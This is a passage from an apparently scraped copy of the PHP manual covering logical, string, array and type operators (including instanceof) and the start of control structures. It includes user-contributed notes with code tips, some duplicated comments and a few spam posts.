// $b is assigned to $b, do_that() is executed if $b is true
if($something) $a = $b and do_that();

// both do_that() and do_this() are executed..
if($something) do_this() xor do_that();
// .. so the behaviour is same as:
if($something) {
    do_this();
    do_that();
}
?>

for understanding what happens if $b is NULL or do_this() returns NULL, read the avbentem's comment on NULL type. generaly speaking, NULL is threated like false in most cases.
peter dot kutak at NOSPAM dot gmail dot com 01-Oct-2007 09:36
$test = true and false;     ---> $test === true
$test = (true and false);  ---> $test === false
$test = true && false;      ---> $test === false

NOTE: this is due to the first line actually being

($test = true) and false;

due to "&&" having a higher precedence than "=" while "and" has a lower one
Lawrence 28-Aug-2007 09:04
Note that PHP's boolean operators *always* return a boolean value... as opposed to other languages that return the value of the last evaluated expression.

For example:

$a = 0 || 'avacado';
print "A: $a\n";

will print:

A: 1

in PHP -- as opposed to printing "A: avacado" as it would in a language like Perl or JavaScript.

This means you can't use the '||' operator to set a default value:

$a = $fruit || 'apple';

instead, you have to use the '?:' operator:

$a = ($fruit ? $fruit : 'apple');
Andrew 13-Aug-2007 05:49
> <?php
> your_function() or return "whatever";
> ?>

doesn't work because return is not an expression, it's a statement. if return was a function it'd work fine. :/


String Operators

There are two string operators. The first is the concatenation operator ('.'), which returns the concatenation of its right and left arguments. The second is the concatenating assignment operator ('.='), which appends the argument on the right side to the argument on the left side. Please read Assignment Operators for more information.

<?php
$a = "Hello ";
$b = $a . "World!"; // now $b contains "Hello World!"

$a = "Hello ";
$a .= "World!";     // now $a contains "Hello World!"
?>

See also the manual sections on the String type and String functions.

User Contributed Notes

patel405nishant at gmail dot com 14-Apr-2014 09:23
Please note that PHP does not differentiate between double quotes and single quotes when it comes to concatenating.

Meaning that you can use this:

<?php

$var = "hello";
$world = "world";

echo "$var" . '$world'; //outputs hello$world

echo "$var" . "$world"; //outputs helloworld

echo "$var" .  $world; //outputs helloworld

?>

so you can use both at the same time, you can use it to evaluate a portion of the string and keep other parts unevaluated.
mostafa dot ali106 at gmail dot com 19-Dec-2013 12:16
Please note that PHP does not differentiate between double quotes and single quotes when it comes to concatenating.

Meaning that you can use this:

<?php

$var = "hello";

echo "$var" . '$world'; //outputs hello$world

?>

so you can use both at the same time, you can use it to evaluate a portion of the string and keep other parts unevaluated.
mostafa dot ali106 at gmail dot com 19-Dec-2013 12:13
Please note that PHP does not differentiate between double quotes and single quotes when it comes to concatenating.

Meaning that you can use this:

<?php

$var = "hello";

echo "$var" . '$world'; //outputs hello$world

?>

so you can use both at the same time, you can use it to evaluate a portion of the string and keep other parts unevaluated.
mostafa dot ali106 at gmail dot com 19-Dec-2013 12:13
Please note that PHP does not differentiate between double quotes and single quotes when it comes to concatenating.

Meaning that you can use this:

<?php

$var = "hello";

echo "$var" . '$world'; //outputs hello$world

?>

so you can use both at the same time, you can use it to evaluate a portion of the string and keep other parts unevaluated.
mostafa dot ali106 at gmail dot com 19-Dec-2013 12:13
Please note that PHP does not differentiate between double quotes and single quotes when it comes to concatenating.

Meaning that you can use this:

<?php

$var = "hello";

echo "$var" . '$world'; //outputs hello$world

?>

so you can use both at the same time, you can use it to evaluate a portion of the string and keep other parts unevaluated.
K.Alex 27-Dec-2012 07:22
As for me, curly braces serve good substitution for concatenation, and they are quicker to type and code looks cleaner. Remember to use double quotes (" ") as their content is parced by php, because in single quotes (' ') you'll get litaral name of variable provided:

<?php

 $a = '12345';

// This works:
 echo "qwe{$a}rty"; // qwe12345rty, using braces
 echo "qwe" . $a . "rty"; // qwe12345rty, concatenation used

// Does not work:
 echo 'qwe{$a}rty'; // qwe{$a}rty, single quotes are not parsed
 echo "qwe$arty"; // qwe, because $a became $arty, which is undefined

?>
hexidecimalgadget at hotmail dot com 10-Feb-2009 06:37
If you attempt to add numbers with a concatenation operator, your result will be the result of those numbers as strings.

<?php

echo "thr"."ee";           //prints the string "three"
echo "twe" . "lve";        //prints the string "twelve"
echo 1 . 2;                //prints the string "12"
echo 1.2;                  //prints the number 1.2
echo 1+2;                  //prints the number 3

?>
mariusads::at::helpedia.com 27-Aug-2008 11:44
Be careful so that you don't type "." instead of ";" at the end of a line.

It took me more than 30 minutes to debug a long script because of something like this:

<?
echo 'a'.
$c = 'x';
echo 'b';
echo 'c';
?>

The output is "axbc", because of the dot on the first line.
Stephen Clay 23-Dec-2005 04:10
<?php
"{$str1}{$str2}{$str3}"; // one concat = fast
  $str1. $str2. $str3;   // two concats = slow
?>
Use double quotes to concat more than two strings instead of multiple '.' operators.  PHP is forced to re-concatenate with every '.' operator.
anders dot benke at telia dot com 27-Apr-2004 06:53
A word of caution - the dot operator has the same precedence as + and -, which can yield unexpected results.

Example:

<php
$var = 3;

echo "Result: " . $var + 3;
?>

The above will print out "3" instead of "Result: 6", since first the string "Result3" is created and this is then added to 3 yielding 3, non-empty non-numeric strings being converted to 0.

To print "Result: 6", use parantheses to alter precedence:

<php
$var = 3;

echo "Result: " . ($var + 3);
?>


Array Operators

Array Operators
Example | Name | Result
$a + $b | Union | Union of $a and $b.
$a == $b | Equality | TRUE if $a and $b have the same key/value pairs.
$a === $b | Identity | TRUE if $a and $b have the same key/value pairs in the same order and of the same types.
$a != $b | Inequality | TRUE if $a is not equal to $b.
$a <> $b | Inequality | TRUE if $a is not equal to $b.
$a !== $b | Non-identity | TRUE if $a is not identical to $b.

The + operator returns the right-hand array appended to the left-hand array; for keys that exist in both arrays, the elements from the left-hand array will be used, and the matching elements from the right-hand array will be ignored.

<?php
$a = array("a" => "apple", "b" => "banana");
$b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
var_dump($c);

$c = $b + $a; // Union of $b and $a
echo "Union of \$b and \$a: \n";
var_dump($c);
?>
When executed, this script will print the following:
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}

Elements of arrays are equal for the comparison if they have the same key and value.

Example #1 Comparing arrays

<?php
$a = array("apple", "banana");
$b = array(1 => "banana", "0" => "apple");

var_dump($a == $b); // bool(true)
var_dump($a === $b); // bool(false)
?>

See also the manual sections on the Array type and Array functions.

User Contributed Notes

Anonymous 29-Jan-2014 09:23
The manual say ...

"The + operator appends the right elements in the array from left, whereas duplicated keys are NOT overwritten"

but ..

$a = array("a" => 'A', "b" => 'B');
$b = array("a" => 'A', "b" => 'B', "c" => 'C');

$c = $a + $b // or $b + a  is  the same output;

echo '<pre>';

print_r($c);

echo '<pre>';

//Output   for  $a + b  or  $b + a
Array (
    [a] => A
    [b] => B
    [c] => C
)
sd6733531 at gmail dot com 30-Mar-2013 04:18
Look out use + with array combine.

$arr = array(1, 2, 3);
$int=345;
$arr=$arr+$int;

Of couse,use + to combine array is easy and readable.
But if one of the variable is not array type(like above code) ,that would make a PHP Fatal Error:
PHP Fatal error:  Unsupported operand types
Maybe should do check before.
Dan Patrick 05-Mar-2012 03:39
It should be mentioned that the array union operator functions almost identically to array_replace with the exception that precedence of arguments is reversed.
cb at netalyst dot com 15-Oct-2008 08:39
The union operator did not behave as I thought it would on first glance. It implements a union (of sorts) based on the keys of the array, not on the values.

For instance:
<?php
$a = array('one','two');
$b=array('three','four','five');

//not a union of arrays' values
echo '$a + $b : ';
print_r ($a + $b);

//a union of arrays' values
echo "array_unique(array_merge($a,$b)):";
// cribbed from http://oreilly.com/catalog/progphp/chapter/ch05.html
print_r (array_unique(array_merge($a,$b)));
?>

//output

$a + $b : Array
(
    [0] => one
    [1] => two
    [2] => five
)
array_unique(array_merge(Array,Array)):Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
    [4] => five
)
csaba at alum dot mit dot edu 24-Jun-2008 05:54
Simple array arithmetic:
A more compact way of adding or subtracting the elements at identical keys...

<?php
function array_add($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] += $val;
    $aRes += $aRay; }
  return $aRes; }

function array_subtract($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] -= $val;
    foreach (array_diff_key($aRay, $aRes) as $key => $val) $aRes[$key] = -$val; }
  return $aRes; }

Example:
$a1 = array(9, 8, 7);
$a2 = array(1=>7, 6, 5);
$a3 = array(2=>5, 4, 3);

$aSum = array_add($a1, $a2, $a3);
$aDiff = array_subtract($a1, $a2, $a3);

// $aSum  => [9, 15, 18, 9, 3]
// $aDiff => [9, 1, -4, -9, -3]
?>

To make a similar function, array_concatenate(), change only the first of the two '+=' in array_add() to '.='
Csaba Gabor from Vienna
Q1712 at online dot ms 21-Apr-2007 02:54
The example may get u into thinking that the identical operator returns true because the key of apple is a string but that is not the case, cause if a string array key is the standart representation of a integer it's gets a numeral key automaticly.

The identical operator just requires that the keys are in the same order in both arrays:

<?php
$a = array (0 => "apple", 1 => "banana");
$b = array (1 => "banana", 0 => "apple");

var_dump($a === $b); // prints bool(false) as well

$b = array ("0" => "apple", "1" => "banana");

var_dump($a === $b); // prints bool(true)
?>
puneet singh @ value-one dot com 18-Jan-2006 07:42
hi  just see one more example of union....

<?php
$a = array(1,2,3);
$b = array(1,7,8,9,10);
$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
//echo $c
print_r($c);
?>
//output
Union of $a and $b: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 9 [4] => 10 )
kit dot lester at lycos dot co dot uk 21-Aug-2005 06:01
When comparing arrays that have (some or all) element-values that are themselves array, then in PHP5 it seems that == and === are applied recursively - that is
 * two arrays satisfy == if they have the same keys, and the values at each key satisfy == for whatever they happen to be (which might be arrays);
 * two arrays satisfy === if they have the same keys, and the values at each key satisfy === for whatever (etc.).

Which explains what happens if we compare two arrays of arrays of arrays of...

Likewise, the corresponding inversions for != <> and !==.

I've tested this to array-of-array-of-array, which seems fairly convincing. I've not tried it in PHP4 or earlier.
kit dot lester at lycos dot co dot uk 21-Aug-2005 05:44
This manual page doesn't mention < & co for arrays, but example 15-2 in
    http://www.php.net/manual/en/language.operators.comparison.php
goes to some lengths to explain how they work.
dfranklin at fen dot com 22-Apr-2004 10:40
Note that + will not renumber numeric array keys.  If you have two numeric arrays, and their indices overlap, + will use the first array's values for each numeric key, adding the 2nd array's values only where the first doesn't already have a value for that index.  Example:

$a = array('red', 'orange');
$b = array('yellow', 'green', 'blue');
$both = $a + $b;
var_dump($both);

Produces the output:

array(3) { [0]=>  string(3) "red" [1]=>  string(6) "orange" [2]=>  string(4) "blue" }

To get a 5-element array, use array_merge.

    Dan
amirlaher AT yahoo DOT co SPOT uk 10-Dec-2002 07:41
[]= could be considered an Array Operator (in the same way that .= is a String Operator).
[]= pushes an element onto the end of an array, similar to array_push:
<?
  $array= array(0=>"Amir",1=>"needs");
  $array[]= "job";
  print_r($array);
?>
Prints: Array ( [0] => Amir [1] => needs [2] => job )


Type Operators

instanceof is used to determine whether a PHP variable is an instantiated object of a certain class:

Example #1 Using instanceof with classes

<?php
class MyClass
{
}

class NotMyClass
{
}
$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof NotMyClass);
?>

The above example will output:

bool(true)
bool(false)

instanceof can also be used to determine whether a variable is an instantiated object of a class that inherits from a parent class:

Example #2 Using instanceof with inherited classes

<?php
class ParentClass
{
}

class MyClass extends ParentClass
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof ParentClass);
?>

The above example will output:

bool(true)
bool(true)

To check if an object is not an instanceof a class, the logical not operator can be used.

Example #3 Using instanceof to check if object is not an instanceof a class

<?php
class MyClass
{
}

$a = new MyClass;
var_dump(!($a instanceof stdClass));
?>

The above example will output:

bool(true)

Lastly, instanceof can also be used to determine whether a variable is an instantiated object of a class that implements an interface:

Example #4 Using instanceof for class

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof MyInterface);
?>

The above example will output:

bool(true)
bool(true)

Although instanceof is usually used with a literal classname, it can also be used with another object or a string variable:

Example #5 Using instanceof with other variables

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;
$b = new MyClass;
$c = 'MyClass';
$d = 'NotMyClass';

var_dump($a instanceof $b); // $b is an object of class MyClass
var_dump($a instanceof $c); // $c is a string 'MyClass'
var_dump($a instanceof $d); // $d is a string 'NotMyClass'
?>

The above example will output:

bool(true)
bool(true)
bool(false)

instanceof does not throw any error if the variable being tested is not an object, it simply returns FALSE. Constants, however, are not allowed.

Example #6 Using instanceof to test other variables

<?php
$a = 1;
$b = NULL;
$c = imagecreate(5, 5);
var_dump($a instanceof stdClass); // $a is an integer
var_dump($b instanceof stdClass); // $b is NULL
var_dump($c instanceof stdClass); // $c is a resource
var_dump(FALSE instanceof stdClass);
?>

The above example will output:

bool(false)
bool(false)
bool(false)
PHP Fatal error:  instanceof expects an object instance, constant given

There are a few pitfalls to be aware of. Before PHP version 5.1.0, instanceof would call __autoload() if the class name did not exist. In addition, if the class was not loaded, a fatal error would occur. This can be worked around by using a dynamic class reference, or a string variable containing the class name:

Example #7 Avoiding classname lookups and fatal errors with instanceof in PHP 5.0

<?php
$d = 'NotMyClass';
var_dump($a instanceof $d); // no fatal error here
?>

The above example will output:

bool(false)

The instanceof operator was introduced in PHP 5. Before this time is_a() was used but is_a() has since been deprecated in favor of instanceof. Note that as of PHP 5.3.0, is_a() is no longer deprecated.

See also get_class() and is_a().

User Contributed Notes

CH 15-Jan-2014 11:00
You can use instanceof also for interfaces.
dava 12-Dec-2013 02:52
You are also able to compare 2 objects using instanceOf. In that case, instanceOf will compare the types of both objects. That is sometimes very useful:

<?php

class A { }
class B { }

$a = new A;
$b = new B;
$a2 = new A;

echo $a instanceOf $a; // true
echo $a instanceOf $b; // false
echo $a instanceOf $a2; // true

?>
info at pkrules dot in 29-Oct-2013 08:08
use this to check instance of or you can add the else part inside the if making it nested if for dual varification.:-
<?php
class MyClass{}
class Test extends MyClass{
public function checkObjectArray(array $array,$classname,$strict=false){
if(!$strict){
foreach($array as $element){
 if(!($element instanceOf $classname)){//we can use typehint objects
INSIDE an array
 echo "false";
 echo "<br />";
 break;
 }
 else{
 print "<br />true (if)";
 }
}
}
else{
foreach($array as $element){
if(get_class($element)!=$classname){// or we can use this function to
check the classes inside this array
echo "false (else)";
}
}
}
echo "<br />true";
}
}
$ob=new Test;

$a=new MyClass();
$array=array($a);
$ob->checkObjectArray($array,'MyClass');
?>
knarlin at yahoo dot com dot au 01-Mar-2013 08:23
Checking an object is not an instance of a class, example #3 uses extraneous parentheses.

<?php
var_dump(!($a instanceof stdClass));
?>

Because instanceof has higher operator precedence than ! you can just do

<?php
var_dump( ! $a instanceof stdClass );
?>
wbcarts at juno dot com 18-May-2012 11:14
SIMPLE, CLEAN, CLEAR use of the instanceof OPERATOR

First, define a couple of simple PHP Objects to work on -- I'll introduce Circle and Point. Here's the class definitions for both:

<?php

class Circle
{
  protected $radius = 1.0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setRadius($r)
  {
    $this->radius = $r;
  }

  public function __toString()
  {
    return 'Circle [radius=' . $this->radius . ']';
  }
}

class Point
{
  protected $x = 0;
  protected $y = 0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setLocation($x, $y)
  {
    $this->x = $x;
    $this->y = $y;
  }

  public function __toString()
  {
    return 'Point [x=' . $this->x . ', y=' . $this->y . ']';
  }
}

?>

Now instantiate a few instances of these types. Note, I will put them in an array (collection) so we can iterate through them quickly.

<?php

$myCollection = array(123, 'abc', 'Hello World!',
  new Circle(), new Circle(), new Circle(),
  new Point(), new Point(), new Point());

$i = 0;
foreach($myCollection AS $item)
{
  /*
   * The setRadius() function is written in the Circle class
   * definition above, so make sure $item is an instance of
   * type Circle BEFORE calling it AND to avoid PHP PMS!
   */
  if($item instanceof Circle)
  {
    $item->setRadius($i);
  }

  /*
   * The setLocation() function is written in the Point class
   * definition above, so make sure $item is an instance of
   * type Point BEFORE calling it AND to stay out of the ER!
   */
  if($item instanceof Point)
  {
    $item->setLocation($i, $i);
  }

  echo '$myCollection[' . $i++ . '] = ' . $item . '<br>';
}

?>

$myCollection[0] = 123
$myCollection[1] = abc
$myCollection[2] = Hello World!
$myCollection[3] = Circle [radius=3]
$myCollection[4] = Circle [radius=4]
$myCollection[5] = Circle [radius=5]
$myCollection[6] = Point [x=6, y=6]
$myCollection[7] = Point [x=7, y=7]
$myCollection[8] = Point [x=8, y=8]
Sudarshan Wadkar 15-Dec-2011 01:34
I don't see any mention of "namespaces" on this page so I thought I would chime in. The instanceof operator takes FQCN as second operator when you pass it as string and not a simple class name. It will not resolve it even if you have a `use MyNamespace\Bar;` at the top level. Here is what I am trying to say:

## testinclude.php ##
<?php
namespace Bar1;
{
class Foo1{ }
}
namespace Bar2;
{
class Foo2{ }
}
?>
## test.php ##
<?php
include('testinclude.php');
use Bar1\Foo1 as Foo;
$foo1 = new Foo(); $className = 'Bar1\Foo1';
var_dump($foo1 instanceof Bar1\Foo1);
var_dump($foo1 instanceof $className);
$className = 'Foo';
var_dump($foo1 instanceof $className);
use Bar2\Foo2;
$foo2 = new Foo2(); $className = 'Bar2\Foo2';
var_dump($foo2 instanceof Bar2\Foo2);
var_dump($foo2 instanceof $className);
$className = 'Foo2';
var_dump($foo2 instanceof $className);
?>
## stdout ##
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
fbableus 18-Mar-2011 03:05
If you want to test if a classname is an instance of a class, the instanceof operator won't work.

<?php
$classname = 'MyClass';
if( $classname instanceof MyParentClass) echo 'Child of it';
else echo 'Not child of it';
?>

Will always output
Not child of it

You must use a ReflectionClass :
<?php
$classname = 'MyClass';
$myReflection = new ReflectionClass($classname);
if( $myReflection->isSubclassOf('MyParentClass')) echo  'Child of it';
else echo 'Not child of it';
?>

Will output the good result.
If you're testing an interface, use implementsInterface() instead of isSublassOf().
mauritsdajong at gmail dot com 14-Aug-2010 12:38
Sometimes you want to typehint objects INSIDE an array, but I think you can't.

Instead, you can use this function to check the classes inside this array:

<?php

public checkObjectsArray(array $array, $classname, $strict = false) {
    if (!$strict) {
        foreach ($array as $element) {
            if (!($element instanceof $classname)) {
                return false;
            }
        }
    }
    else {
        foreach ($array as $element) {
            if (get_class($element) != $classname) {
                return false;
            }
        }
    }
    return true;
}

?>
phil dot taylor at gmail dot com 16-Jul-2010 01:13
It seems like instanceOf is using a string comparison. Longer class names take longer to check in conditional statements

eg.

if ($f instanceOf HelloWorldTestClass)

is much slower than

if ($f instanceOf HWT)
jtaal at eljakim dot nl 17-Nov-2008 02:37
You can use "self" to reference to the current class:

<?php
class myclass {
    function mymethod($otherObject) {
        if ($otherObject instanceof self) {
            $otherObject->mymethod(null);
        }
        return 'works!';
    }
}

$a = new myclass();
print $a->mymethod($a);
?>
kevin dot benton at beatport dot com 21-Aug-2008 06:31
Example #5 could also be extended to include...

var_dump($a instanceof MyInterface);

The new result would be

bool(true)

So - instanceof is smart enough to know that a class that implements an interface is an instance of the interface, not just the class.  I didn't see that point made clearly enough in the explanation at the top.
ejohnson82 at gmail dot com 18-Jan-2008 10:59
The PHP parser generates a parse error on either of the two lines that are commented out here.
Apparently the 'instanceof' construct will take a string variable in the second spot, but it will NOT take a string... lame

class Bar {}
$b = new Bar;
$b_class = "Bar";
var_export($b instanceof Bar); // this is ok
var_export($b instanceof $b_class); // this is ok
//var_export($f instanceof "Bar"); // this is syntactically illegal
//var_export($f instanceof 'Bar'); // this is syntactically illegal
julien plee using g mail dot com 21-Jul-2007 03:56
Response to vinyanov at poczta dot onet dot pl:

You mentionned "the instanceof operator will not accept a string as its first operand". However, this behavior is absolutely right and therefore, you're misleading the meaning of an instance.

<?php 'ClassA' instanceof 'ClassB'; ?> means "the class named ClassA is an instance of the class named ClassB". This is a nonsense sentence because when you instanciate a class, you ALWAYS obtain an object. Consequently, you only can ask if an object is an instance of a class.

I believe asking if "a ClassA belongs to a ClassB" (or "a ClassA is a class of (type) ClassB") or even "a ClassA is (also) a ClassB" is more appropriate. But the first is not implemented and the second only works with objects, just like the instanceof operator.

Plus, I just have tested your code and it does absolutely NOT do the same as instanceof (extended to classes)! I can't advise anyone to reuse it. The use of <?php is_instance_of ($instanceOfA, 'ClassB'); ?> raises a warning "include_once(Object id #1.php) …" when using __autoload (trying to look for $instanceOfA as if it was a class name).

Finally, here is a fast (to me) sample function code to verify if an object or class:

<?php
function kind_of (&$object_or_class, $class)
{
    return is_object ($object_or_class) ?
        $object_or_class instanceof $class
        : (is_subclass_of ($object_or_class $class)
           || strtolower ($object_or_class) == strtolower ($class));
}
?>
jphaas at gmail dot com 11-Jul-2007 07:50
Posting this so the word typeof appears on this page, so that this page will show up when you google 'php typeof'.  ...yeah, former Java user.
jeanyves dot terrien at orange-ftgroup dot com 13-Mar-2007 09:34
Cross version function even if you are working in php4
(instanceof is an undefined operator for php4)

   function isMemberOf($classename) {
      $ver = floor(phpversion());
      if($ver > 4) {
         $instanceof = create_function ('$obj,$classname','return $obj instanceof $classname;');
         return $instanceof($this,$classname);
      } else {
         // Php4 uses lowercase for classname.
         return is_a($this, strtolower($classname));
      }
   } // end function isMemberOf
soletan at toxa dot de 03-Mar-2007 01:04
Please note: != is a separate operator with separate semantics. Thinking about language grammar it's kind of ridicilous to negate an operator. Of course, it's possible to negate the result of a function (like is_a()), since it isn't negating the function itself or its semantics.

instanceof is a binary operator, and so used in binary terms like this

terma instanceof termb

while ! (negation) is a unary operator and so may be applied to a single term like this

!term

And a term never consists of an operator, only! There is no such construct in any language (please correct me!). However, instanceof doesn't finally support nested terms in every operand position ("terma" or "termb" above) as negation does:

!!!!!!!!!!!!!!term == term

So back again, did you ever write

a !!!!!!!!!!!!= b

to test equivalence?
archanglmr at yahoo dot com 18-Feb-2005 03:37
Negated instanceof doesn't seem to be documented. When I read instanceof I think of it as a compairson operator (which I suppose it's not).

<?php
class A {}
class X {}

//parse error from !
if (new X !instanceof A) {
    throw new Exception('X is not an A');
}
//proper way to negate instanceof ?
if (!(new X instanceof A)) {
    throw new Exception('X is not an A');
}
?>
d dot schneider at 24you dot de 18-Dec-2004 09:42
use this for cross-version development...

<?php

function is_instance_of($IIO_INSTANCE, $IIO_CLASS){
    if(floor(phpversion()) > 4){
        if($IIO_INSTANCE instanceof $IIO_CLASS){
            return true;
            }
        else{
            return false;
            }
        }
    elseif(floor(phpversion()) > 3){
        return is_a($IIO_INSTANCE, $IIO_CLASS);
        }
    else{
        return false;
        }
    }

?>


Control Structures

Table of Contents

  • Introduction
  • if
  • else
  • elseif/else if
  • Alternative syntax for control structures
  • while
  • do-while
  • for
  • foreach
  • break
  • continue
  • switch
  • declare
  • return
  • require
  • include
  • require_once
  • include_once
  • goto

User Contributed Notes

blackcreeper97 21-Oct-2014 12:07
SUBSCRIBE ME ON YOUTUBE NOW!!!!!
asdfasdf@sdaxxxoaosdcom 22-Feb-2014 04:34
sadaadslllad ohal ha hasd f wela weñadlfka sdñflas dfñasd asd fwerqw er qwe wqer qwe asdf asdfzxcv dafasdf 3r32 asdf asdf
Jeffrey 23-May-2012 10:28
CONTROL STRUCTURE -- BOOLEAN REQUIRED

If you are not sure what will work in your IF statements, try DISECTING your variables. Below I've written three (3) empty CLASS DEFINITIONS (Point, Dimension, and Rectangle), and declared an array called $items that holds all the PHP types you can imagine -- booleans, strings, empty strings, integers, floats, null, arrays, empty arrays, and objects too. The rest of the code really chews up the current $item and spits it out for lunch... Try running this code so you can see the HTML TABLE that is created -- it'll be worth your while.

<?php

class Point { }
class Dimension { }
class Rectangle { }

$items = array(true, false, null, 23, 0, -26, 4.21, 0.0, -3.76,
  'hello', '', array(1, 2, 3), array('', '', ''), array(),
  new stdClass(), new Point(), new Dimension(), new Rectangle());

echo '<table cellpadding="4" border="1">
  <tr>
    <th>syntax</th>
    <th>value</th>
    <th>type</th>
    <th>empty</th>
    <th>boolean</th>
  </tr>' . "\n";

foreach($items AS $item)
{
  $booleanValue = (boolean)$item;
  $empty = (empty($item) ? 'EMPTY' : '&nbsp;');
  $type = gettype($item);
  $syntax = 'if((boolean)';

  $val;

  if($type == boolean)
  {
    $val = ($booleanValue ? 'true' : 'false');
    $syntax .= ($val . ')');
  }
  else if($type == 'NULL')
  {
    $val = 'null';
    $syntax .= 'null)';
  }
  else if($type == double && !$booleanValue)
  {
    $val = '0.0';
    $syntax .= '0.0)';
  }
  else if($type == string)
  {
    $val = '\'' . $item . '\'';
    $syntax .= ($val . ')');
  }
  else if($type == 'array')
  {
    $val = $item;
    $syntax .= '$array)';
  }
  else if($type == 'object')
  {
    $val = get_class($item);
    $syntax .= ('$' . strtolower($val) . ')');
  }
  else
  {
    $val = $item;
    $syntax .= ($val . ')');
  }

  echo '  <tr style="color: ' . ($booleanValue ? '#006600' : '#880000') . ';">
    <td><code>' . $syntax . '</code></td>
    <td>' . $val . '</td>
    <td>' . $type . '</td>
    <td>' . $empty . '</td>
    <td>' . ($booleanValue ? 'TRUE' : 'FALSE') . '</td>
  </tr>' . "\n";
}

echo '</table>' . "\n";

?>

Looking at the HTML output: notice that even integers and floats with a value of zero are considered EMPTY, and all that are EMPTY are FALSE boolean values. And take a gander at the boolean type with a false value... somebody is covering there bases!
wintermute 29-Aug-2007 09:45
Sinured: You can do the same thing with logical OR; if the first test is true, the second will never be executed.

<?PHP
if (empty($user_id) || in_array($user_id, $banned_list))
{
exit();
}
?>
Sinured 01-Aug-2007 08:59
As mentioned below, PHP stops evaluating expressions as soon as the result is clear. So a nice shortcut for if-statements is logical AND -- if the left expression is false, then the right expression can’t possibly change the result anymore, so it’s not executed.

<?php
/* defines MYAPP_DIR if not already defined */
if (!defined('MYAPP_DIR')) {
    define('MYAPP_DIR', dirname(getcwd()));
}

/* the same */
!defined('MYAPP_DIR') && define('MYAPP_DIR', dirname(getcwd()));
?>
niels dot laukens at tijd dot com 26-Dec-2004 04:49
For the people that know C: php uses operator short circuit evaluation. That means that as soon as it knows the outcome, it'll stop processing.

<?php
if ( FALSE && some_function() )
    echo "something";
    // some_function() will not be called, since the first operand evaluates to false
?>

This comes in handy for situations like this:

<?php
if ( file_exists($filename) && filemtime($filename) > time() )
    do_something();
    // filemtime will never give a file-not-found-error, since php will stop evaluating if file_exists returns false
?>


Introduction

Any PHP script is built out of a series of statements. A statement can be an assignment, a function call, a loop, a conditional statement or even a statement that does nothing (an empty statement). Statements usually end with a semicolon. In addition, statements can be grouped into a statement-group by encapsulating a group of statements with curly braces. A statement-group is a statement by itself as well. The various statement types are described in this chapter.

User Contributed Notes

blackcreeper97 20-Oct-2014 11:06
Subscribe me on youtube NOW!!!!!


if

(PHP 4, PHP 5)

The if construct is one of the most important features of many languages, PHP included. It allows for conditional execution of code fragments. PHP features an if structure that is similar to that of C:

if (expr)
  statement

As described in the section about expressions, expression is evaluated to its Boolean value. If expression evaluates to TRUE, PHP will execute statement, and if it evaluates to FALSE - it'll ignore it. More information about what values evaluate to FALSE can be found in the 'Converting to boolean' section.

The following example would display a is bigger than b if $a is bigger than $b:

<?php
if ($a > $b)
  echo "a is bigger than b";
?>

Often you'd want to have more than one statement to be executed conditionally. Of course, there's no need to wrap each statement with an if clause. Instead, you can group several statements into a statement group. For example, this code would display a is bigger than b if $a is bigger than $b, and would then assign the value of $a into $b:

<?php
if ($a > $b) {
  echo "a is bigger than b";
  $b = $a;
}
?>

If statements can be nested infinitely within other if statements, which provides you with complete flexibility for conditional execution of the various parts of your program.

User Contributed Notes

blackcreeper97 20-Oct-2014 11:08
SUBSCRIBE ME ON YOUTUBE NOW!!!!!
Aldee Mativo 21-Feb-2014 12:52
If you intend only a single line (one-way) conditional script, you can do the following:

empty($user) || $user->save();

if $user variable is empty, it will not execute $user->save(). Otherwise it will perform saving operation. In other words/form of expression, it can be expressed like this:

if(!empty($user))
    $user->save();
m dot folkerts at sobit dot nl 03-Feb-2014 08:19
What is the result of?

$a = 0;
$b = "any string";

if($a == $b) echo "true";
else echo "false";

result: true

this get's solved if you use === but still.
robk 20-May-2013 10:02
easy way to execute conditional html / javascript / css / other language code with php if else:

<?php if (condition): ?>

html code to run if condition is true

<?php else: ?>

html code to run if condition is false

<?php endif ?>
ehsan at chavoshi dot com 10-Apr-2012 01:05
You can use a simple if and echo structure :

$i==1 and print "i is 1"
is identical with
if ($i ==1)
  echo "i is 1";
sofwan at sofwan dot net 28-Feb-2012 06:31
It seems that only numbers can be compared between them but actually an alphabet can be compare too. For example :

<?php
 // Number comparison
  $a="C";
  $b="X";
  if ($a<$b)
     {
    echo $a."is smaller than".$b;
    }
// Result : C is smaller than X
?>
Donny Nyamweya 12-Feb-2011 05:30
In addition to the traditional syntax for if (condition) action;
I am fond of the ternary operator that does the same thing, but with fewer words and code to type:

(condition ? action_if_true: action_if_false;)

example

(x > y? 'Passed the test' : 'Failed the test')
Christian L. 25-Jan-2011 07:58
An other way for controls is the ternary operator (see Comparison Operators) that can be used as follows:

<?php
$v = 1;

$r = (1 == $v) ? 'Yes' : 'No'; // $r is set to 'Yes'
$r = (3 == $v) ? 'Yes' : 'No'; // $r is set to 'No'

echo (1 == $v) ? 'Yes' : 'No'; // 'Yes' will be printed

// and since PHP 5.3
$v = 'My Value';
$r = ($v) ?: 'No Value'; // $r is set to 'My Value' because $v is evaluated to TRUE

$v = '';
